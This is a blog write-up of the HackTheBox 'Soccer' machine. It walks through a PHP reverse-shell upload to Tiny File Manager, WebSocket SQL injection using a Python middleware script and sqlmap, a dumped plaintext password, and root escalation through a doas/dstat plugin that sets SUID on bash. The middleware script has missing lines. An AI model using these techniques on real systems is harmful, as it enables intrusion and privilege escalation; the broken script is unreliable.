Hack. Sleep. Repeat

View on GitHub



Enumeration is the key to everthing so we always kick off with an nmap scan on the target IP.

└─$ nmap -p- --min-rate 2000 -sC -sV -oN nmap/soccer.tcp
Starting Nmap 7.93 ( ) at 2023-02-10 15:38 WAT
Warning: giving up on port because retransmission cap hit (10).
Nmap scan report for
Host is up (0.27s latency).
Not shown: 38489 filtered tcp ports (no-response), 27044 closed tcp ports (conn-refused)
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 286.53 seconds

Now it connfirm we have SSH 22 and HTTP 80 port presently open the target which is interesting since it rated easy i think we already know we don’t need to dig that much we can start a quick enumeration on the HTTP port already.

└─$ curl -i
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 10 Feb 2023 14:48:02 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://soccer.htb/

<head><title>301 Moved Permanently</title></head>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>

Some old habit i always use to print out the response headers in the output using curl command now that we have the domain let add to our hosts file.

sudo vim /etc/hosts

.......        soccer.htb

Now that we have that set let access the web-server surely we are using the browser XD.


Interesting a web page that talk on how soccer is the best sports in the world which is true no cap but i still take hacking like sports XD which mean sports is second to me.

Subdomain Fuzz

┌──(muzec㉿muzec-sec)-[~/Documents/CTF Hacking/HTB/soccer]
└─$ wfuzz -u http://soccer.htb/ -H "Host:" -w /opt/wordlists/subdomains.txt --hh 178


Which i end up getting none so let go ahead amd fuzz for some directories.

Directories Fuzz

┌──(muzec㉿muzec-sec)-[~/Documents/CTF Hacking/HTB/soccer]
└─$ feroxbuster -u http://soccer.htb/ -w /opt/wordlists/2.3-medium.txt --quiet -t 80


Now that is a hit let see what we really have on the tiny web directory.


Tiny File Manager and we seems to need a credentials to get access let try doing some research on a default credentials.


Default username/password:



We got access to the Tiny File Manager and seems to find the version it running a quick research again.


Which come to our notice that tiny file manager is vulnerable to an authenticated remote code execution allowing a malicious user to upload a php file to be able to execute a system command on the webserver now that we know what we are dealing with let get our malicious php file ready and upload on the webserver to get a reverse shell.


Created a PHP file added our tun0 IP, Port to receive a reverse shell back to us.


nc -nvlp 80


Navigating to http://soccer.htb/tiny/uploads/muzec.php to trigger our php file and we got a reverse shell back to our listener.


We spawn a full tty shell to make our shell more stable and we go ahead and start enumerating once again to find a way to move our privilege to a higher user by checking all files sysetem on the target.



Now that seems like a new subdomain no wonders we are unable to get hit when we fuzz for one seems unique. Back to our attacking machine to add the new subdomain we got from the target machine.

sudo vim /etc/hosts

.........          soccer.htb


Now that look promising right i bet you think the same we have a page to login/sign up since we have no active credentials let sign up.


Now that our account is ready let hit the login page to sign in.


Now we are done to a check page which check a valid ticket ID.


Interesting i decided to try a wrong ticket ID to see what happened.


Which seems to be wrong when i try a false ID. Checking the page source and we notice it seems to be using a websocket URL to make a request to the internal port 9091 just from my guessing we should know we are actually dealing with an SQL injection vulns.

A QUICK NOTE:- The wss protocol establishes a WebSocket over an encrypted TLS connection, while the ws protocol uses an unencrypted connection.


Find SQLi in Websockets

Interacting with WS with Burp suite which is really nice here. Let inetercept the tickets form checker with burp suite and right click and send it to Repeater:


We can notice from the history when a ticket is valid we got Ticket Exists but when a ticket is not valid we know the response is Ticket Doesn't Exist now that we know it clear let go ahead and test fro sql injection.


Testing For SQL Injection

A standard SQLi check is to send a ' character, but that does nothing interesting here we just got a response with no valid tickets:


So what i did is i try and send a ticket ID that does not exist and with an SQL query 1=1 to see if it really give out a valid ticket response or an invalid ticket response.


Boom we got a valid ticket response even when we know that the ID really doesn’t exist. This is confirmed SQL injection.

SQLi Helpers with SQLMAP and a custom python script

It is similar to SQLMap tamper scripts but in this case the script will act as a standalone server vulnerable to SQLi on GET parameter.

#!/usr/bin/env python3

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://"

def send_ws(payload):
    ws = create_connection(ws_server)
    # If the server returns a response on connect, use below line    
    #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
    # For our case, format the payload in JSON
    message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
    data = '{"id":"%s"}' % message

    resp = ws.recv()

    if resp:
        return resp
        return ''

def middleware_server(host_port,content_type="text/plain"):

    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
                payload = urlparse(self.path).query.split('=',1)[1]
            except IndexError:
                payload = False
            if payload:
                content = send_ws(payload)
                content = 'No parameters specified!'

            self.send_header("Content-type", content_type)

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)

print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

except KeyboardInterrupt:

The python script will get a request with a single parameter, and use that to make the websocket connection with that parameter as the injection. This allows sqlmap to see a standard HTTP server, but then it does the websockets injection.

└─$ python3 
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*

Now that we have it running let hit with sqlmap.

sqlmap -u "http://localhost:8081/?id=1" --batch --dbs


It works soccer_db seems interesting let list the tables with sqlmap and possible aso dump all columns.

sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db --tables

When we go the tables we can go ahead and dump the interesting columns.

sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db -T accounts -C id,email,password,username  --dump


We got the user playerpassword in plaintext let try on SSH.

Username: player Password:- PlayerOftheMatch2022


We have access and we should have the user.txt in the home folder of user player.


Privilege Escalation.

Nothing on sudo we decided to check for SUID permission.

find / -perm -u=s -type f 2>/dev/null


Doas seems interesting let check the conf file.


We can run dstat with doas with nopass as user root.


Dstat is a versatile tool for generating system resource statistics. It allows users to create a custom plugin and execute by adding option e.g. dstat –myplugin.


First off, let find and locate the “dstat” directory.

find / -type d -name dstat 2>/dev/null


Now let create a plugin called under “/usr/local/share/dstat/”.

import os

os.system('chmod +s /usr/bin/bash')


Dstat recognizes plugins under “/usr/local/share/dstat/”. Check if the above exploit plugin has been added by executing the following command.

dstat --list | grep exploit

Doas To Execute Dstat with the Malicious Plugin

Now execute “dstat” with —exploit flag (the flag name is determined by the suffix of the file name e.g. “").

doas -u root /usr/bin/dstat --exploit


Now when we run bash -p we should be root.


Now getting the root.txt file.


rooooooooooooooot and done.

Greeting From Muzec

Back To Home